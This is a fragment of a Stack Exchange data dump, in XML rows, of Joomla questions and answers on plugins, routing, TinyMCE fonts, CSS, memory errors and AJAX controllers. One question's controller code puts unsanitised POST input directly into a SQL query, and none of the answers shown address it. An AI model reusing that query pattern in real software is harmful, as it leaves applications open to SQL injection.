plg&amp;lt;PluginGroup&amp;gt;&amp;lt;PluginName&amp;gt; extends JPlugin&#xA;{&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-08-15T00:56:26.110" LastActivityDate="2015-08-15T07:20:07.467" Title="What are the PluginGroup types that I can use when developing a Joomla plugin?" Tags="|development|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12180" PostTypeId="2" ParentId="12179" CreationDate="2015-08-15T07:20:07.467" Score="2" Body="&lt;p&gt;Certain PluginGroup types receive specific events. Mainly &lt;strong&gt;system&lt;/strong&gt; group is very important in the initialization and page rendering process. Additionally, user and authentication plugins have a key role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you can also create your own group and manage your own set of plugin events for your extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the list of events, by group &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;: &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;Plugin/Events - Joomla! Documentation&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-15T07:20:07.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12181" PostTypeId="2" ParentId="12178" CreationDate="2015-08-15T07:29:19.617" Score="1" Body="&lt;p&gt;Itemid is the key part of Joomla Router to identify a target and navigate through the menu structure. Also, modules are associated with specific Itemids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no Itemid, Joomla renders a default page with modules assigned to 'All' pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for a way to customize SEF and generate Urls with no IDs, then you can just install a &lt;a href=&quot;http://extensions.joomla.org/category/site-management/sef&quot; rel=&quot;nofollow&quot;&gt;SEF extension&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-15T07:29:19.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12182" PostTypeId="1" AcceptedAnswerId="12206" CreationDate="2015-08-15T10:42:58.843" Score="6" ViewCount="3136" Body="&lt;p&gt;I'm on Joomla 3.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked JCE editor and there's a way to simply add in the configuration an option so that each time I click on the option from &quot;font family&quot; it will add, in line, the custom/web family font to the element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fonts are loaded within the template.css, they work, and JCE simply adds the right font family to chosen element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really feel like I need JCE, especially that I was fine so far with tinyMCE. But I can't in any way seem to figure, how to add the same thing I added to JCE but to tinyMCE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled and looked for some forum posts, they talked about some files... but for ooooold joomla, so those files aren't in the current joomla anymore so I can't edit them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to add custom web font in the font family selection in tinyMCE?&#xA;Again, I have the font family loaded in the stylesheet already, I just need to be able to apply them in tinyMCE to the elements like I could the &quot;default&quot; fonts from font family editor selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5645" LastEditorUserId="126" LastEditDate="2015-08-21T14:01:54.143" LastActivityDate="2018-04-08T03:00:52.243" Title="How to add web font to tinyMCE?" Tags="|joomla-3.x|tinymce|fonts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12183" PostTypeId="1" AcceptedAnswerId="12184" CreationDate="2015-08-15T13:38:27.027" Score="2" ViewCount="698" Body="&lt;p&gt;I need to remove the  list style type of a joomla menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to set  &lt;code&gt;text-decoration&lt;/code&gt;, &lt;code&gt;list-style&lt;/code&gt;, &lt;code&gt;list-style-type&lt;/code&gt; and &lt;code&gt;text-decoration-line&lt;/code&gt; to none. But nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seted the general li and ul selectors also as the specific class/id. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul{&#xA;      list-style-type: none;&#xA;      text-decoration: none;&#xA;      list-style: outside none none;&#xA;      text-decoration-line: none;&#xA;}&#xA;&#xA;li{&#xA;      list-style-type: none;&#xA;      text-decoration: none;&#xA;      list-style: outside none none;&#xA;      text-decoration-line: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DuBWJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DuBWJ.png&quot; alt=&quot;joomla menu&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion?&lt;/p&gt;&#xA;" OwnerUserId="5681" LastEditorUserId="126" LastEditDate="2015-08-19T14:59:02.433" LastActivityDate="2015-08-19T14:59:02.433" Title="Remove the list style type of a joomla menu" Tags="|menu|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12184" PostTypeId="2" ParentId="12183" CreationDate="2015-08-15T13:56:35.643" Score="2" Body="&lt;p&gt;Without seeing your code it's hard to do anything but guessing, but here are some ideas:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use your browser's developer tools (usually available by pressing &lt;kbd&gt;F12&lt;/kbd&gt; or Right-click -&gt; Inspect element). You can edit the CSS directly for a preview of how it affects you layout. Once you find a way to solve it, copy your changes to your CSS file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look for &lt;code&gt;:before&lt;/code&gt; pseudo-elements in your CSS. It's probable that your template adds the chevrons &lt;em&gt;before&lt;/em&gt; the list elements using this kind of selector.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try adding &lt;code&gt;!important&lt;/code&gt; to your CSS declarations, to make sure it's not overridden by other styles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-08-15T13:56:35.643" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12185" PostTypeId="2" ParentId="12183" CreationDate="2015-08-15T16:34:19.213" Score="1" Body="&lt;p&gt;Assuming you are not getting any cached content that is not containing any of your CSS modifications, the only sure thing is that there are CSS rules that affect that particular list and most likely they take precedence over other rules and your override CSS code. But for us, without being able to see the live page, it's hard to tell you what you need to adjust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best ally here is your browser's inspector / developer tools. With it you must try to identify any CSS inheritances or precedences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a particular CSS rule is not affecting the html element, it means that there is another stronger rule in place. This is usually either because the other rule contain &quot;!important&quot; with the attribute, or because it's more specifically selected, by the selectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As said, the only way to tell, is using the browser's inspector.&#xA;If you are adding your custom CSS rules at a CSS file of your site, then after reloading the page and open the inspector, you will be able to see the priority order of the rules on that element. If you see your custom css down in the list, this means that those rules over your css are in higher priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Study their selectors (css classes), in order to make your selectors of higher priority, e.g. by using a &quot;id&quot; of a container element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure, your css is loading at the end and not before all other css rules, that no &quot;!important&quot; is involved anywhere - and you are watching uncached content.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-15T16:34:19.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12186" PostTypeId="1" CreationDate="2015-08-15T17:40:13.343" Score="0" ViewCount="957" Body="&lt;p&gt;I transferred my site to a new server and now I'm getting this error when I click fix permission from &lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Admins Tools&lt;/a&gt; (component). I also allocated &lt;code&gt;Memory_limit&lt;/code&gt; to 300 but still same issue. Can somebody help in this regard? &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Allowed memory size of 314572800 bytes exhausted (tried to allocate 32 bytes) in /home/*****/public_html/libraries/joomla/filesystem/folder.php on line 632&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla! 3.4.1 Stable version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BtVEM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BtVEM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="1629" LastEditDate="2015-09-07T22:03:09.520" LastActivityDate="2015-09-08T11:38:37.797" Title="Fatal error: Allowed memory size of 314572800 bytes exhausted - Admin Tools" Tags="|component|joomla-3.3.x|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12187" PostTypeId="2" ParentId="5633" CreationDate="2015-08-15T20:02:57.543" Score="1" Body="&lt;p&gt;I was trying to add ico-moon icons to a tab and you could wrap the a in a tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Tab 2&#xA;echo JHtml::_('bootstrap.addTab', 'tab_group_ida', 'tabs_2a', '&amp;lt;i class=&quot;icon-info&quot;&amp;gt;&amp;lt;i&amp;gt;'.Tab 2');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you could also wrap it in a span:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('bootstrap.addTab', 'ID-Tabs-Group', 'tab2_id', '&amp;lt;span class=&quot;icon-signup&quot;&amp;gt;'.JText::_('DESCRIPTION').'&amp;lt;/span&amp;gt;'); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2015-08-15T20:02:57.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12188" PostTypeId="1" CreationDate="2015-08-15T23:05:22.583" Score="0" ViewCount="173" Body="&lt;p&gt;I am in a big trouble. &#xA;I have been using ajax to fetch k2 item and display it on my page. On my page there are both k2 category list and article area, when one of the items in the category is clicked, I prevent default link and use ajax to fetch k2 item content(by adding '&amp;amp;format=json' to the url) to display in the article area. I just realized this way the item won't be considered viewed, thus item.hits will remain 0. I have been spending too much time on the layout to change it, so I think my best bet is to find out how k2 item calculate how many times it has been viewed, and maybe there is some trick to force it.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2015-08-16T10:03:20.173" Title="How does k2 calculate item view times" Tags="|k2|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12189" PostTypeId="2" ParentId="2451" CreationDate="2015-08-16T08:20:06.877" Score="0" Body="&lt;p&gt;In my case I solve this by doing following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;in html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;myTab&quot; class=&quot;nav nav-tabs&quot;&amp;gt;&#xA;    &amp;lt;li class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;#link1&quot; data-toggle=&quot;tab&quot;&amp;gt;Link1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#Link2&quot; data-toggle=&quot;tab&quot;&amp;gt;Link1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;   &#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;div class=&quot;tab-content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;tab-pane fade in active&quot; id=&quot;link1&quot;&amp;gt;&#xA;        LINK1&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;web_design&quot;&amp;gt;&#xA;        LINK2&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;in js&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.addEvent('domready',function() {    &#xA;    Element.prototype.hide = function() {&#xA;       $(function () { &#xA;         $('#myTab li:eq(1) a').tab('show');&#xA;       });    &#xA;    };&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5551" LastActivityDate="2015-08-16T08:20:06.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12190" PostTypeId="1" CreationDate="2015-08-16T08:54:17.770" Score="0" ViewCount="4503" Body="&lt;p&gt;Unable to implement Register button through either K2, Community Builder, or default Login Form that comes with Joomla. Is there a URL for register button which I can then add to website (tnssecurities.in) by custom HTML option?&lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2015-08-16T09:56:13.917" Title="Register URL for my website" Tags="|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12191" PostTypeId="2" ParentId="12190" CreationDate="2015-08-16T09:56:13.917" Score="1" Body="&lt;p&gt;First, you have to create a Menu item to allow a convenient access to Users Manager / &lt;strong&gt;Registration Form&lt;/strong&gt;. Let's say, you create an Url likes this one: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_users&amp;amp;view=registration&amp;amp;Itemid=999&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondly, you can call this Url from any component and it will give users access to registration form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, in a &quot;Custom HTML module&quot;, Urls will be automatically translated to its SEF representation. To generate a SEF Url from a view, you have to call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;echo JRoute::_('index.php?option=com_users&amp;amp;view=registration&amp;amp;Itemid=999');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-16T09:56:13.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12192" PostTypeId="2" ParentId="12188" CreationDate="2015-08-16T10:03:20.173" Score="2" Body="&lt;p&gt;In K2, articles are represented by K2ModelItem (com_k2/models/item.php, line 892), where you can find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hit($id)&#xA;{&#xA;&#xA;    $row = JTable::getInstance('K2Item', 'Table');&#xA;    $row-&amp;gt;hit($id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are fetching items directly from tables, then it is not consistent with K2 model. It would be better to follow the general MVC pattern and access them via K2ModelItem... or just increment hits calling in the same way than model works.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-16T10:03:20.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12194" PostTypeId="2" ParentId="12186" CreationDate="2015-08-16T18:58:52.413" Score="1" Body="&lt;p&gt;Have you try set php.ini memory? If you change the server probably your new host have a different configuration. If your joomla was running in the last server, it's a good idea to consider this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2015-09-08 You solve this? You can try add ini_set('memory_limit','64M') just below the &#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;ini_set('memory_limit','64M');&#xA;class JConfig {&#xA;    public $offline = '0';&#xA;    public $offline_message = 'Offline message';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2015-09-08T11:38:37.797" LastActivityDate="2015-09-08T11:38:37.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12195" PostTypeId="2" ParentId="10116" CreationDate="2015-08-16T19:06:43.413" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;You need create a group under registered joomla group like &quot;member&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Create a new menu.&lt;/li&gt;&#xA;&lt;li&gt;Create menu item and set permission to &quot;member&quot; group, and alias like &quot;member-menu&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Redirect login to this url in alias like www.yoursite.com/member-menu&lt;/li&gt;&#xA;&lt;li&gt;Now you can set when this menu/module should be shown in site.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="126" LastEditDate="2015-08-16T22:02:42.717" LastActivityDate="2015-08-16T22:02:42.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12196" PostTypeId="2" ParentId="9703" CreationDate="2015-08-17T08:58:33.720" Score="0" Body="&lt;p&gt;I've had the same problem. In my case the problem was SEO friendly Urls&#xA;Renaming the htaccess.txt to .htaccess solved it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leen&lt;/p&gt;&#xA;" OwnerUserId="5745" LastActivityDate="2015-08-17T08:58:33.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12197" PostTypeId="1" AcceptedAnswerId="12198" CreationDate="2015-08-17T12:46:32.333" Score="0" ViewCount="228" Body="&lt;p&gt;I have got caching turned on for this website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://storm.agency/&quot; rel=&quot;nofollow&quot;&gt;http://storm.agency/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am not caching the nav module, also cleared any cache but the mobile menu is not dropping down when viewing the site on a mobile device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried debugging it but nothing obvious as to why it's not working&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas please?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2015-08-17T16:20:05.967" Title="Mobile menu not working" Tags="|joomla-3.4|javascript|css|cache|mobile-web-design|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12198" PostTypeId="2" ParentId="12197" CreationDate="2015-08-17T13:25:01.243" Score="1" Body="&lt;p&gt;It turns out that it was an error with the styling.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body div {&#xA;    overflow: hidden;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was the culprit!&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="168" LastEditDate="2015-08-17T16:20:05.967" LastActivityDate="2015-08-17T16:20:05.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12199" PostTypeId="1" AcceptedAnswerId="12202" CreationDate="2015-08-17T14:18:19.850" Score="1" ViewCount="449" Body="&lt;p&gt;I make a AJAX call from my model to the controller and instead of returning just the result of the sql query it returns a whole website (with the content of the result somewhere in the middle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snippet code of a function inside of my model&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;li&amp;gt; &amp;lt;a onclick=&quot;nodeList('.$row-&amp;gt;id.')&quot;&amp;gt;'.$row-&amp;gt;title.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;JFactory::getDocument()-&amp;gt;addScriptDeclaration(&quot;&#xA;    function nodeList(node_id){&#xA;        alert(node_id);&#xA;&#xA;        jQuery.ajax({&#xA;            url: 'index.php?option=com_nautilus&amp;amp;task=update',&#xA;            type: 'POST',&#xA;            data: ({id: node_id}),&#xA;            success: function(data){&#xA;                console.log('success');&#xA;                console.log(data);&#xA;            },&#xA;                error: function(){&#xA;                console.log('error');&#xA;            }   &#xA;        });&#xA;    }&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code of my update function inside of controller.php&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function update()&#xA;{&#xA;    $id = $_POST['id'];&#xA;&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $db-&amp;gt;setQuery(&quot;SELECT c.title,c.id,c.type FROM #__content c INNER JOIN #__content_parents as p ON c.id=p.node_id and p.parent_id=$id&quot;);&#xA;    $result = $db-&amp;gt;loadObjectList();&#xA;    echo (json_encode($result, JSON_FORCE_OBJECT));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5508" LastActivityDate="2015-08-18T08:24:50.793" Title="AJAX call returning whole website instead of array" Tags="|joomla-3.x|component|ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12200" PostTypeId="1" AcceptedAnswerId="12201" CreationDate="2015-08-17T14:19:44.730" Score="0" ViewCount="2129" Body="&lt;p&gt;I need to be able to initiate differently couple of CSS elements if the user is browsing the website with &quot;mobile&quot; user agent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To improve the mobile browsing experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not looking for &quot;hidden-phone&quot; viewport tricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to either make some CSS elements only display when mobile user agent is detected, OR have like two templates, and that one would load for desktop and one for mobile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea that this is possible comes from seeing other websites that have both mobile and desktop versions, some of them need user to click something to change that layout and others auto-detect it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doable in Joomla? How?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5645" LastActivityDate="2015-08-17T15:15:34.733" Title="How to detect mobile user agent and apply CSS/template accordingly?" Tags="|joomla-3.x|templates|css|mobile-web-design|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12201" PostTypeId="2" ParentId="12200" CreationDate="2015-08-17T15:15:34.733" Score="0" Body="&lt;p&gt;There is &lt;a href=&quot;http://www.mobilejoomla.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;mobilejoomla&lt;/a&gt; which is an extension dedicated to mobile, I had used it in the early versions and was ok. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to configure your template to detect mobile devices by means of scripts like &lt;a href=&quot;http://mobiledetect.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;mobiledetect&lt;/a&gt; or &lt;a href=&quot;http://detectmobilebrowsers.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;detectmobilebrowsers&lt;/a&gt; and adapt accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third way is the extension Advanced Module Manager described in this &lt;a href=&quot;https://joomla.stackexchange.com/questions/216/how-can-a-module-be-disabled-based-on-device-or-viewport-size-in-joomla-3-to-opt?rq=1&quot;&gt;question&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="169" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-08-17T15:15:34.733" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12202" PostTypeId="2" ParentId="12199" CreationDate="2015-08-17T15:31:57.060" Score="1" Body="&lt;p&gt;You have to specify the output format. Otherwise, Joomla assumes Html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, working with FoF framework, you define in the Url &lt;strong&gt;&amp;amp;format=json&lt;/strong&gt; to get a JSON rendered view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/documentation/fof/fofview.html&quot; rel=&quot;nofollow&quot;&gt;FoF - Automatic views and web services&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-17T15:31:57.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12203" PostTypeId="2" ParentId="12186" CreationDate="2015-08-17T16:31:34.817" Score="2" Body="&lt;p&gt;This is nothing to do with Joomla or the Admin Tools extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following error that you're getting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Allowed memory size of 314572800 bytes exhausted (tried to allocate 32 bytes) in /home/*****/public_html/libraries/joomla/filesystem/folder.php on line 632&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is simply telling you where the code is that's trying to fix the permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error means that your server does not have enough allocated memory to perform the task. Either your host has set low memory limits or you have a &lt;strong&gt;huge&lt;/strong&gt; amount of recursive directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest opening your &lt;strong&gt;php.ini&lt;/strong&gt; file and removing the limit like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;memory_limit = -1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please remember to change it back to the default value once finished&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-08-17T16:31:34.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12206" PostTypeId="2" ParentId="12182" CreationDate="2015-08-18T01:47:23.197" Score="5" Body="&lt;p&gt;The solution is a bit tricky but it should work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open this file &lt;em&gt;[root]/media/editors/tinymce/tinymce.min.js&lt;/em&gt; (yes, it's minified), try to find this part &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function(){var n=&quot;Andale Mono=andale mono,times;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function(){var n=&quot;Your New font=your new font,sans-serif;Andale Mono=andale mono,times;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then open file &#xA;[root]/templates/your_active_template/css/editor.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add your @font-face decalaration in the top of file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@font-face {&#xA;font-family: 'Your New font';&#xA;src: url('fonts/samman/your-new-font.eot');&#xA;src: url('fonts/samman/your-new-font.eot?#iefix') format('embedded-opentype'),&#xA;     url('fonts/samman/your-new-font.woff') format('woff'),&#xA;     url('fonts/samman/your-new-font.ttf') format('truetype'),&#xA;     url('fonts/samman/your-new-font.svg#your-new-font') format('svg');&#xA;font-weight: normal;&#xA;font-style: normal;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-08-18T01:47:23.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12207" PostTypeId="2" ParentId="5893" CreationDate="2015-08-18T03:04:21.363" Score="1" Body="&lt;p&gt;Sorry about the late answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it is possible to do so, but you will need to do a small edit on Joomla's main &lt;code&gt;index.php&lt;/code&gt; file located in the root installation directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Brief explanation:&lt;/strong&gt; this error message is actually an Exception thrown by the method &lt;code&gt;getApplication&lt;/code&gt; of Joomla's core class &lt;code&gt;JFactory&lt;/code&gt;. So you can't simply customize the error message without touching Joomla core a little.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Quick solution:&lt;/strong&gt; All you need to do is a &lt;strong&gt;try - catch&lt;/strong&gt; when the method &lt;code&gt;getApplication&lt;/code&gt; is called. To do so, open the file &lt;code&gt;index.php&lt;/code&gt; located at your root installation directory and search for something like &lt;code&gt;$app = JFactory::getApplication('site')&lt;/code&gt;. Then replace it by the lines below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $app = JFactory::getApplication('site');    &#xA;}&#xA;catch (Exception $e) {&#xA;    // Do something when the site cannot be instantiated.&#xA;    header('Location: my-error-file.html');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5309" LastActivityDate="2015-08-18T03:04:21.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12208" PostTypeId="2" ParentId="12199" CreationDate="2015-08-18T08:24:50.793" Score="1" Body="&lt;p&gt;If you still want to call your ajax function placed inside the controller, without any output format then place code to exit your controller method before the ending curl bracket so that the view won't be called using the exit(); code.&lt;/p&gt;&#xA;" OwnerUserId="1864" LastActivityDate="2015-08-18T08:24:50.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
